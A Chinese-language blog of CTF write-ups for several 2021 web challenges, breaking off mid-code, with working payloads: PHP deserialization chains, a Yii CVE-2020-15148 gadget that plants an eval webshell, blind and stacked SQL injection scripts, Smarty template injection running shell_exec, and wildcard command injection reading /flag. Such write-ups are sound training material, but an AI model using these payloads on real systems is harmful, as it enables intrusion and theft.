ISCC2021 [练武题]正则表达式最后的倔强 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php <p>code.txt</p> if (isset ($_GET ['password' ])) { if (preg_match ("/^[a-zA-Z0-9]+$/" , $_GET ['password' ]) === FALSE ) { echo '<p>You password must be alphanumeric</p>' ; } else if (strlen ($_GET ['password' ]) < 8 && $_GET ['password' ] > 9999999 ) { if (strpos ($_GET ['password' ], '*-*' ) !== FALSE ) { die ('Flag: ' . $flag ); } else { echo ('<p>*-* have not been found</p>' ); } } else { echo '<p>Invalid password</p>' ; } } ?>
payload:?password=1e9*-*
which is the true iscc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 <?php session_start ();ini_set ('max_execution_time' , '5' );set_time_limit (5 );$status = "new" ;$cmd = "whoami" ;$is_upload = false ;$is_unser_finished = false ;$iscc_file = NULL ;class ISCC_Upload { function __wakeup ( ) { global $cmd ; global $is_upload ; $cmd = "whoami" ; $_SESSION ['name' ] = randstr (14 ); $is_upload = (count ($_FILES ) > 0 ); } function __destruct ( ) { global $is_upload ; global $status ; global $iscc_file ; $status = "upload_fail" ; if ($is_upload ) { foreach ($_FILES as $key => $value ) $GLOBALS [$key ] = $value ; if (is_uploaded_file ($iscc_file ['tmp_name' ])) { $check = @getimagesize ($iscc_file ["tmp_name" ]); if ($check !== false ) { $target_dir = "/var/tmp/" ; $target_file = $target_dir . randstr (10 ); if (file_exists ($target_file )) { echo "想啥呢?有东西了……<br>" ; finalize (); exit ; } if ($iscc_file ["size" ] > 500000 ) { echo "东西塞不进去~<br>" ; finalize (); exit ; } if (move_uploaded_file ($iscc_file ["tmp_name" ], $target_file )) { echo "我拿到了!<br>" ; $iscc_file = $target_file ; $status = "upload_ok" ; } else { echo "拿不到:(<br>" ; finalize (); exit ; } } else { finalize (); exit ; } } else { echo "你真是个天才!<br>" ; finalize (); exit ; } } } } class ISCC_ResetCMD { protected $new_cmd = "echo '新新世界,发号施令!'" ; function __wakeup ( ) { global $cmd ; global $is_upload ; global $status ; $_SESSION ['name' ] = randstr (14 ); $is_upload = false ; if (!isset ($this ->new_cmd)) { $status = "error" ; $error = "你这罐子是空的!" ; throw new Exception ($error ); } if (!is_string ($this ->new_cmd)) { $status = "error" ; $error = '东西都没给对!' ; throw new Exception ($error ); } } function __destruct ( ) { global $cmd ; global $status ; $status = "reset" ; if ($_SESSION ['name' ] === 'isccIsCciScc1scc' ) { $cmd = $this ->new_cmd; } } } class ISCC_Login { function __wakeup ( ) { $this ->login (); } function __destruct ( ) { $this ->logout (); } function login ( ) { $flag = file_get_contents ("/flag" ); $pAssM0rd = hash ("sha256" , $flag ); if ($_GET ['pAssM0rd' ] === $pAssM0rd ) $_SESSION ['name' ] = "isccIsCciScc1scc" ; } function logout ( ) { global $status ; unset ($_SESSION ['name' ]); $status = "finish" ; } } class ISCC_TellMeTruth { function __wakeup ( ) { if (!isset ($_SESSION ['name' ])) $_SESSION ['name' ] = randstr (14 ); echo "似乎这个 " .$_SESSION ['name' ]." 是真相<br>" ; } function __destruct ( ) { echo "似乎这个 " .$_SESSION ['name' ]." 是真相<br>" ; } } class ISCC_Command { function __wakeup ( ) { global $cmd ; global $is_upload ; $_SESSION ['name' ] = randstr (14 ); $is_upload = false ; $cmd = "whoami" ; } function __toString ( ) { global $cmd ; return "看看你干的好事: {$cmd} <br>" ; } function __destruct ( ) { global $cmd ; global $status ; global $is_unser_finished ; $status = "cmd" ; if ($is_unser_finished === true ) { echo "看看你干的 [<span style='color:red'>{$cmd} </span>] 弄出了什么后果: " ; echo "<span style='color:blue'>" ; @system ($cmd ); echo "</span>" ; } } } function randstr ($len ) { $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=' ; $randstring = '' ; for ($i = 0 ; $i < $len ; $i ++) { $randstring .= $characters [rand (0 , strlen ($characters ))]; } return $randstring ; } function waf ($s ) { if (stripos ($s , "*" ) !== FALSE ) return false ; return true ; } function finalize ( ) { $cmd = "" ; $is_upload = false ; unset ($_SESSION ); @unlink ($iscc_file ); $status = "finish" ; echo "<img src='whichisthetrueiscc.gif'><br>" ; } if (isset ($_GET ['whatareyounongshane' ])) { $whatareyounongshane = $_GET ['whatareyounongshane' ]; switch ($whatareyounongshane ) { case "src" : highlight_file (__FILE__ ); break ; case "cmd" : echo "想越级干好事?还是有门的……" ; header ('Location: /?%3f=O:12:"ISCC_Command":0:{}' ); break ; case "reset" : echo "几辈子积累的好运就在这时~:p" ; header ('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}' ); break ; case "upload" : $resp = <<<EOF <form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data"> <input type="file" name="iscc_file"> <input type="submit" value="Upload Image" name="submit"> </form> EOF ; echo $resp ; break ; case "tellmetruth" : echo base64_decode ("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==" ); header ('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}' ); break ; default : echo "空空如也就是我!" ; } finalize (); die ("所以哪个ISCC是真的?<br>" ); } if (isset ($_GET ['?' ])) { $wtf = waf ($_GET {'?' }) ? $_GET ['?' ] : (finalize () && die ("试试就“逝世”!" )); if ($goodshit = @unserialize ($wtf )) { $is_unser_finished = true ; } if (in_array ($status , array ('new' , 'cmd' , 'upload_ok' , 'upload_fail' , 'reset' ), true )) finalize (); die ("所以哪个ISCC是真的?<br>" ); } ?>
一个文件显得很长,不过比多文件方便查看,比方说查看waf就可以看到
1 2 3 4 5 function waf ($s ) { if (stripos ($s , "*" ) !== FALSE ) return false ; return true ; }
过滤了*
,也许payload会用到(就是会用到) 开始审 首先看看魔法变量__destruct
1 2 3 4 5 6 7 8 9 10 11 12 function __destruct ( ) { global $cmd ; global $status ; global $is_unser_finished ; $status = "cmd" ; if ($is_unser_finished === true ) { echo "看看你干的 [<span style='color:red'>{$cmd} </span>] 弄出了什么后果: " ; echo "<span style='color:blue'>" ; @system ($cmd ); echo "</span>" ; } }
只要我们能控制这个cmd的值,就可以执行任意命令了
1 2 3 4 5 6 7 8 function __destruct ( ) { global $cmd ; global $status ; $status = "reset" ; if ($_SESSION ['name' ] === 'isccIsCciScc1scc' ) { $cmd = $this ->new_cmd; } }
那么只要这里验证通过就可以控制了。
PHP反序列化中,wakeup的执行顺序是碰到变量中含有类的,首先按照类出现的先后顺序执行__wakeup
,最后执行主类的__wakeup
,执行__destruct
时,按照之前相反的顺序执行__destruct
,也是最后执行主类的__destruct
。
在本题中,ISCC_Command和ISCC_ResetCMD
的wakeup方法都会执行$is_upload = false
,导致不能重置_SESSION变量,所以ISCC_Command类的wakeup必须要在他们两后,同时ISCC_Command类的__destruct
必须执行在他们两的前面,否则重置SESSION也没有用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class ISCC_Upload {function __construct ( ) { $this ->e=new ISCC_ResetCMD (); $this ->d=new ISCC_Command (); } } class ISCC_Login { public $b ; public $c ; public $a ; function __construct ( ) { $this ->b=new ISCC_ResetCMD (); $this ->c=new ISCC_Command (); $this ->a=new ISCC_Upload (); } } class ISCC_Command {} class ISCC_ResetCMD { protected $new_cmd ; function __construct ( ) { $this ->new_cmd="cat /flag" ; } } $a =new ISCC_Login;$a =serialize ($a );$a =str_replace ("\00" ,"%5C00" ,$a ); $a =str_replace ("*" ,"%5C2A" ,$a ); $a =str_replace ("s" ,"S" ,$a ); echo $a ;?>
最终exp,
1 2 3 4 5 6 7 8 9 import requestspayload2='?%3f=O:10:"ISCC_Login":3:{s:1:"b";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"c";O:12:"ISCC_Command":0:{}s:1:"a";O:11:"ISCC_Upload":2:{s:1:"e";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"d";O:12:"ISCC_Command":0:{}}}' payload1='?%3f=O:10:"ISCC_Login":3:{s:1:"b";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"c";O:12:"ISCC_Command":0:{}s:1:"a";O:11:"ISCC_Upload":2:{s:1:"e";O:13:"ISCC_ResetCMD":1:{S:10:"%5C00%5C2A%5C00new_cmd";s:9:"cat%20/flag";}s:1:"d";O:12:"ISCC_Command":0:{}}}' url= 'http://39.96.91.106:7050/' f=open ("isccIsCciScc1scc" ,"rb" ) f1=open ("1.jpg" ,"rb" ) files = {"_SESSION" :f,"iscc_file" :f1} r=requests.post(url+payload2,files=files) print (r.text)
ctfshow大牛杯 check_in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php error_reporting (0 );include "config.php" ;function check_letter ($code ) { $letter_blacklist = str_split ("abcdefghijklmnopqrstuvwxyz1234567890" ); for ($i = 0 ; $i < count ($letter_blacklist ); $i +=2 ){ if (preg_match ("/" .$letter_blacklist [$i ]."/i" , $code )){ die ("xi nei~" ); } } } function check_character ($code ) { $character_blacklist = array ('=' ,'\+' ,'%' ,'_' ,'\)' ,'\(' ,'\*' ,'&' ,'\^' ,'-' ,'\$' ,'#' ,'`' ,'@' ,'!' ,'~' ,'\]' ,'\[' ,'}' ,'{' ,'\'' ,'\"' ,';' ,' ' ,'\/' ,'\.' ,'\?' ,',' ,'<' ,':' ,'>' ); for ($i = 1 ; $i < count ($character_blacklist ); $i +=2 ){ if (preg_match ("/" .$character_blacklist [$i ]."/" , $code )){ die ("tongtong xi nei~" ); } } } $dir = 'sandbox/' . md5 ($_SERVER ['REMOTE_ADDR' ]) . '/' ;if (!file_exists ($dir )) { mkdir ($dir ); } if (isset ($_GET ["code" ])) { $code = substr ($_GET ["code" ], 0 , 12 ); check_letter ($code ); check_character ($code ); file_put_contents ("$dir " . "index.php" , "<?php " .$code .$fuxkfile ); echo $dir ; }else { highlight_file (__FILE__ ); } ?>
这一句很奇妙,for ($i = 0; $i < count($letter_blacklist); $i+=2)
,计数变量$i+=2
,所以,实际上过滤掉的是acegikmoqsuwy13579
, 那么还能用的就是以下字符bdfhjlnprtvxz24680
再往下对符号的过滤也是这样array('=','\+','%','_','\)','\(','\*','&','\^','-','\$','#','`','@','!','~','\]','\[','}','{','\'','\"',';',' ','\/','\.','\?',',','<',':','>')
因为计数变量$i
初始值为1,,那么能用的就是以下array('=','%','\)','\*','\^','\$','`','!','\]','}','\'',';','\/','\?','<','>')
像个傻子,没进目录就读读读,读个寂寞,总之,学习为主,那么就来说说我犯傻的地方,看这个file_put_contents("$dir" . "index.php", "<?php ".$code.$fuxkfile);
,前半部分是在读index,因为在当前目录下,使用了$dir
路径,同时下面也写着echo $dir
,这回是真nt了,总之我继续构造payload:?code=?><?=`nl%09/*`
,然后得到地址,再进入地址查看执行结果,就能得到flag了,是不是很简单呢,(可惜我是nt根本想不到)
CSTC2021 cstcweb1:ez_web 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php show_source (__FILE__ );$v1 =0 ;$v2 =0 ;$v3 =0 ;$a =(array )json_decode (@$_GET ['foo' ]);if (is_array ($a )){ is_numeric (@$a ["bar1" ])?die ("nope" ):NULL ; if (@$a ["bar1" ]){ ($a ["bar1" ]>2021 )?$v1 =1 :NULL ; } if (is_array (@$a ["bar2" ])){ if (count ($a ["bar2" ])!==5 OR !is_array ($a ["bar2" ][0 ])) die ("nope" ); $pos = array_search ("nudt" , $a ["a2" ]); $pos ===false ?die ("nope" ):NULL ; foreach ($a ["bar2" ] as $key =>$val ){ $val ==="nudt" ?die ("nope" ):NULL ; } $v2 =1 ; } } $c =@$_GET ['cat' ];$d =@$_GET ['dog' ];var_dump ($c );if (@$c [1 ]){ if (!strcmp ($c [1 ],$d ) && $c [1 ]!==$d ){ eregi ("3|1|c" ,$d .$c [0 ])?die ("nope" ):NULL ; strpos (($c [0 ].$d ), "cstc2021" )?$v3 =1 :NULL ; } } if ($v1 && $v2 && $v3 ){ echo "good" ; } ?> NULL
(不认识的函数很多,开局搜半天) 要求3层都达成,使得$v1,$v2,$v3
都为1。 首先第一层,先用json_decode()函数
和array
将以GET方式传入的foo的值转化为带键的数组$a,接下来使用is_numeric函数
判断键bar1
对应的值必须是纯数字,并且大于2021,因此构造?foo={"bar1":"3000a"}
,第一层就过去了,此时可以在本地测试得到$v1
等于1了。 第二层,第一步通过is_array函数
判断bar2
对应的值是否为数组,就加上"bar2":[]
,接着通过count函数
要求bar2对应的数组内的单元个数为5,并且要求$a["bar"][0]
也就是该数组的第一个单元也为数组,接着是array_search函数
要求$a[“a2”]数组中必须含有nudt,但$a[“bar2”]中不含有字符串"nudt"
,于是继续完善payload:?foo={"bar1":"3000","bar2":[[],1,2,3,4,],"a2":["nudt"]}
(感觉也可以通过让$[“a2”]不为数组,array_search
传入的参数不为数组就会报错,但不会返回false) 最后是第三层,首先要求传入cat
和dog
的值,cat[1]
不能为NULL,可以看出,传入的cat
为数组,接着是使用strcmp函数
进行字符串比较,要求cat[1]
与dog
相等,但又不相等,这做不到,要利用strcmp函数的漏洞进行绕过,因此,传入dog[]
使dog
这个变量为数组类型,strcmp函数
的参数为数组就会出错,并且返回null
,!null
就绕过判断了,接着是eregi()函数
(不区分大小写)匹配cat[0]
函数中的3
,1
和c
,并且后面有要求cat[0]
中含有字符串cstc2021
,利用前加%00
的方式绕过eregi匹配,最终构造成的payload:?foo={"bar1":"3000a","bar2",[[],1,2,3,4],"a2":["nudt"]}&cat[0]=%00cstc2021&cat[0]=1&dog[]
RED HAT Find_it 首先大喊三声我是傻逼!!然后开始写wp 首先打开环境,发现啥也没有,然后查看robot.txt文档,得知有一个1ndexx.php,结果啥也没有,经过我的不懈努力(问学长),终于得到可以.swp看源码,明明津门杯从那一道题已经得到经验结果没想到,,总之,访问.1ndexx.php.swp
,然后得到源码,源码有点散,总之,先拼起来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php $file =fopen ("flag.php" ,"r" ) or die ("Unable 2 open!" );$I_know_you_wanna_but_i_will_not_give_you_hhh = fread ($file ,filesize ("flag.php" ));$hack =fopen ("hack.php" ,"w" ) or die ("Unable 2 open" );$a =$_GET ['code' ];if (preg_match ('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/' ,$a )){ die ("you die" ); } if (strlen ($a )>33 ){ die ("nonono." ); } fwrite ($hack ,$a ); fwrite ($hack ,$I_know_you_wanna_but_i_will_not_give_you_hhh ); fclose ($file ); fclose ($hack ); ?>
打开了hack.php,然后将传入的code写入了hack.php。 于是构造payload:?code=<?php phpinfo();?>
接着访问hack.php,flag就在phpinfo的环境变量里面。
websitemanger 打开是一个登录界面,查看源码,可以看见图片部分的源码是src="image.php?id=2"
,访问image.php
,可以看见一张图片,通过GET上传id的值,总共有1,2,3,这三张图,当输入其他值时就会显示错误,通过bp抓包,查看返回消息,发现数据层没有任何信息,可以进行布尔盲注(就是有点慢)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestsdef database_name (): name = '' for j in range (1 ,30 ): for i in range (48 ,122 ): url = "http://eci-2zeir5o8p6vha0wv8y41.cloudeci1.ichunqiu.com:80/image.php/?id=0^if(ascii(mid((select(group_concat(password))from(users)),%d,1))=%d,5,1)#" %(j,i) r = requests.get(url) if 'T' not in r.text: name = name+chr (i) print (name) break print ('database_name:' ,name) print (r.status_code) database_name()
数据库名为ctf
,表名为users
,列名为username
和password
,最终得到用户名为admin,密码为包含小写字母与数字的随机生成字符串,登入后,file协议进行文件读取,website段(host)输入file:///flag
,接着进行ssrf,referer输入http://127.0.0.1
,点击test it
就跳到了modify.php,得到flag。
framework 没看原题,被web3搞懵了,那么就开始吧(云做题) 打开点击Get started with Yii
,可以得知这是个Yii框架,可以下载源码,源码我当时下载了,下载过程一波三折,然后解压,装到本地,打开目录下的web,里面有一个index.php
文件,因为是Yii,所以可以在index.php
加入代码:echo Yii::getversion();
,然后打开本地主页,可以看到当前安装的本题Yii框架的版本,该版本是:2.0.32
,(当然其实直接点击右下角的箭头就可以看到该Yii框架的版本),然后上搜索引擎看看这个版本有没有可以利用的漏洞:于是找到一篇文章:文章 于是就有一个反序列化漏洞(CVE-2020-15148)可以利用,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'phpinfo' ; $this ->id = '1' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new CreateAction (), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader = new Generator ; } } } namespace { echo base64_encode (serialize (new yii \db \BatchQueryResult )); } ?>
构造payload:?r=site/aboout&messge=get%20/r=site/about&messege=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19
得到一个不完整的phpinfo界面,使用system,和文件查看的函数都被返回错误界面,但可以使用file_put_content函数
(点击看详情 )写入shell,同时结合assert函数
(点击看详情 ),如果assert的第一个参数是字符串,将被当做php代码执行。
1 2 3 4 public function __construct ( ) { $this ->checkAccess = 'assert' ; $this ->id = 'file_put_contents(\'shell.php\',\'<?php eval($_POST[a]);phpinfo();?>\');' ; }
然后访问shell.php,查看phpinfo信息,可以查看禁用函数 上蚁剑使用插件bypass(我蚁剑的插件市场一直转圈圈啊@.@)云做题一脸懵逼
WICCTF hate_flag 1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );if (!isset ($_GET ['code' ])){ highlight_file (__FILE__ ); }else { $code = $_GET ['code' ]; if (preg_match ("/[A-Za-z0-9_$@]+/" ,$code )){ die ('fighting!' ); } eval ($code ); }
因为和ctfshow56题很像,本来想直接改一下脚本跑出来的,结果跑来跑去都是ls返回的目录,而且根本没有我写的用于判断是否执行成功的字符串,想来是因为靶机就这一个,估计别人也在传,所以执行到别人传的文件了,总之就没看了,之后看到wp写的直接模糊匹配执行,?code=/???/??? /????
,可以结合跑出来的目录,因为根目录可以直接看到flag
这个文件,所以这个命令可以匹配到/bin/cat /flag
,当然也能匹配到别的命令和目录,总之,最后屏幕上就一大堆东西,全复制下来,检索flag
,很快就找到了。 结果是脚本执行方式有问题:(
(我看是我脑子有问题),但是我又改好了(诶,一运行就出,就是玩)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsurl = 'http://122.112.214.101:20004/?code=?><?=`.+/???/????????[?-[]`;?>' def post (): files={ 'upload' :'#!/bin/sh\necho "muhua"\ncat /flag' } r=requests.post(url,files=files) if 'muhua' in r.text: print (r.text) for i in range (50 ): post()
总之通过上传一个文件,然后访问并执行,本来按照大佬们的思路,这个想匹配到/tem/php??????,生成的临时文件名字应该是最后六位其中肯定是含有一个大写字母的,那么就选最后一个,假如正好是最后一个为大写,那么就会成功匹配上并执行,而文件以!#/bin/sh
开头,意思是文件以/bin
目录下的sh
命令执行,接着就是需要执行的命令。 我想问题应该是在于要在上传的同时进行执行,我一开始的脚本是使用多线程,并且先上传,后执行,然后就出问题了,想想也是,靶机就一个,肯定要清理临时文件的,唉唉。
Neepu
noob
随便注2.0 强网杯随便注和GXY的综合,这次很让我头疼但最后却轻易解决的是空格和tab被过滤的问题,根据两道题的结合再加上过滤点
1 2 3 4 5 6 Neepu return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject); 强网杯 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); Blacklist return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
我很轻易地发现可以用预编译绕过,最后用换行符(%0a)
来代替空格,最终得出:
1 2 3 4 -1';show databases; -1';show tables; -1';desc `@Neepu2021招新赛`; -1';PREPARE muhua from concat('s','elect', ' flag from `@Neepu2021招新赛`');EXECUTE muhua;#
将其中的空格换成%0a就行,抓包传数据或者直接python传输可以换了再传
有泄可击 描述:公司大断电…大家都在整理备份文件,这时你潜入了进来… 结合题目,肯定是源码泄露,进入之后有一个注册界面,但无论如何也注册不上,一看源码有一个测试账号,原来是这样潜入的啊,于是直接登上,但页面上啥也没有,尝试常见的源码泄露目录,发现了.git
目录有index.php的源码,前面啥也没有,但源码的末尾直接给了shell
:
1 2 3 <?php @eval ($_REQUEST ['neepu_debug.mode' ]); ?>
但这种形式的我不会利用,搜索引擎也没有找到,(其实可以说找到了,只是当时没用对),最后被告知,传neepu[debug.mode
就可以让'.'
不被转义。直接查看目录,flag就在根目录下,很简单一道题,唯一的难点就在于对shell
的利用。
最强大脑 10秒内计算出一个随机加减乘的计算式,连续正确100次,这还不简单?直接c写一个循环计算器,然后复制粘贴计算,复制粘贴提交 当然是写脚本跑,通过gamebox的题解现学现卖的,写完gamebox的wp瞬间感觉这题不是问题。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requestsimport reurl = 'http://neepusec.club:18672/' ks = requests.Session() re0 = ks.get(url) an = re.findall('\<p\>.*? \?' ,re0.text) cal = an[0 ][3 :40 ] cal = cal.replace(' ' ,'' ) cal = cal.replace('=?' ,'' ) an = eval (cal) data = {"answer" :an} for i in range (1 ,101 ): re1 = ks.post(url,data=data) an = re.findall('\<p\>.*? \?' ,re1.text) cal = an[0 ][3 :40 ] cal = cal.replace(' ' ,'' ) cal = cal.replace('=?' ,'' ) an = eval (cal) data = {"answer" :an} if i == 100 : print (re1.text) break
web
gamebox 鬼! 进去直接万能密码muhua'='0
开始抛硬币,脚本,写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 import requestsimport repayload1 = "{{shell_exec(\"\ls\t/\")}}'='0" payload = "{{shell_exec(\"cat\t/This_is_your_Flag\")}}'='0" url = "url" ks = requests.Session() login_data = {"username" :payload} r0 = ks.post(url+"/login.php" ,data = login_data) r1 = ks.get(url+"/index.php" ) ver = re.findall('pic\/(.*?)\.jpg' ,r1.text) print (ver[0 ][0 :4 ])data = {"authcode" :ver[0 ][0 :4 ],"guess" :"on" } for i in range (1 ,1000 ): r2 = ks.post(url+"/index.php" ,data=data) ver = re.findall('pic\/(.*?)\.jpg' ,r2.text) data = {"authcode" :ver[0 ][0 :4 ],"guess" :"on" } print (len (r2.text)) if (len (r2.text)>3287 ): print (r2.text) r3 = ks.get(url+"/index.php?file=php://filter/read=convert.base64-encode/resource=rander.php" ) print (r3.text) break
源码得到为:
1 2 3 4 5 6 7 8 <?php if ($_SESSION ['num' ] >= 5 ) { include ('smarty/Smarty.class.php' ); $smarty = new Smarty; $name = $_SESSION ["username" ]; $smarty ->display ('string:恭喜 ' .$name .' 获得了胜利' ); }
存在模板注入。烦死。 总之通过用户名进行注入。
Crypto
中国古代加密 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 古有乾隆晓岚对出千古绝句: 花甲重逢,增加三七岁月。古稀双庆,更多一度春秋。 今有诗人徐海源于东电题诗: 群芳无力懒梳妆,楚楚金花吐暗香。 不愿游人夸颜色,千紫万红续华章。 题于己亥年三月初十,名为迎春花。 留一密文:千愁万绪 该对使得flag有头有尾,该诗使得flag有声有调,可谓形同:“不到园林怎知春色如许,不入书塾何闻书声朗朗。” hint1:诗词分上下两部分,flag比较长,数字和关键信息的出现位置有关。 hint2:结合加粗的文字提示和加密方式,排列组合,可以得到Neepu{纯数字},然后尝试提交吧!
通过搜索得到需要用到古诗的加密,得到戚继光发明的反切法,通过第一首诗的声母和第二首诗的韵母凑成的密码表。 外加最后给了密码表,其实flag已经呼之欲出了(没出是因为我脑子被门夹了)。 有头有尾,这个对子我背了好多年了,就是有个老人141岁,所以乾隆和纪晓岚一个出上对一个接下对,都是指老人的年龄,于是头尾都是141。 接着有声有调把我迷惑了,大概是指这个诗使得flag有声母也有韵母,也就是第三个提示写的密码表,取上四句诗的声母和下四句的韵母。 (但我猜到141作为头尾之前加了声调,猜到后就没加,导致没出,个人感觉题出的有问题,但没出就是白干,呜呜呜),于是对照表得出三个一组共四组的数据代表每个字,但有些韵母对应多个数字,因为提示flag较长,因此有两位数的就去两位数,都是一位数的就一一尝试。 最终得到flag:Neepu{141181832310414124141}
newctf web easyweb php部分
{ .theme-legacy} 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $six_number = $_POST ['webp' ]; $a = $_POST ['a' ]; $b = $_POST ['b' ]; $c = $_POST ['c' ]; if (md5 ($six_number ) == 'e10adc3949ba59abbe56e057f20f883e' && md5 ($a ) === md5 ($b ) && $a !== $b ) { if ($array [++$c ]=1 ){ if ($array []=1 ){ echo "nonono" ; } else { require_once 'flag.php' ; echo $flag ; } } } ?>
即使是弱对比,如果不是0e
开头的,也无法通过科学计数法去绕,毕竟md5硬要对比是比不出的,可以尝试MD5在线解密,其实并非解密,而是可以查常见的一些MD5值,于是通过MD5在线解密得到这个MD5值对应的字符串应该是123456
,接着利用MD5函数漏洞用去绕过这个对比,下面的是给array赋值,如果赋值失败就会返回false,就能绕过,于是传入9223372036854775806
,这个值就是PHP的array创建数组的最大值,通过++$c
的运算后导致接着赋值出错,绕过,但得到的并非flag而是
1 2 你觉得就这么简单吗???,可以告诉你密码哦! password: xluoyyds123456@@@
这个密码不知道用在哪里,传了一下password值,但并没有回显,看一看题目描述,这张图真好看,没啥隐藏的东西吧,那么就说明图里面很可能藏了个压缩包
1 2 3 4 body { background-image: url(backImg.jpg); background-size: contain; }
于是通过foremost分离出一个zip压缩包,然后解压,密码就是它给的,得到文本文件,拿到flag。这里感谢@Rossweisse 师傅 顺便贴一下foremost的一个教程:链接
weblog 反序列化逃逸 { .theme-legacy } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 <?php highlight_file (__FILE__ );error_reporting (0 );class B { public $logFile ; public $initMsg ; public $exitMsg ; function __construct ($file ) { $this ->initMsg="#--session started--#\n" ; $this ->exitMsg="#--session end--#\n" ; $this ->logFile = $file ; readfile ($this ->logFile); } function log ($msg ) { $fd =fopen ($this ->logFile,"a+" ); fwrite ($fd ,$msg ."\n" ); fclose ($fd ); } function __destruct ( ) { echo "this is destruct" ; } } class A { public $file = 'flag{xxxxxxxx}' ; public $weblogfile ; function __construct ( ) { echo $this ->file; } function __wakeup ( ) { $obj = new B ($this ->weblogfile); } public function waf ($str ) { $str =preg_replace ("/[<>*#'|?\n ]/" ,"" ,$str ); $str =str_replace ('flag' ,'' ,$str ); return $str ; } function __destruct ( ) { echo "this is destruct" ; } } class C { public $file ; public $weblogfile ; } class D { public $logFile ; public $initMsg ; public $exitMsg ; } function is_serialized ($data ) { $r = preg_match_all ('/:\d*?:"/' ,$data ,$m ,PREG_OFFSET_CAPTURE); if (!empty ($r )) { foreach ($m [0 ] as $v ){ $a = intval ($v [1 ])+strlen ($v [0 ])+intval (substr ($v [0 ],1 )); if ($data [$a ] !== '"' ) return false ; } } if (!is_string ($data )) return false ; $data = trim ($data ); if ('N;' === $data ) return true ; if (!preg_match ('/^([adObis]):/' ,$data ,$badions )) return false ; switch ($badions [1 ]){ case 'a' : case 'O' : case 's' : if (preg_match ( "/^{$badions[1]} 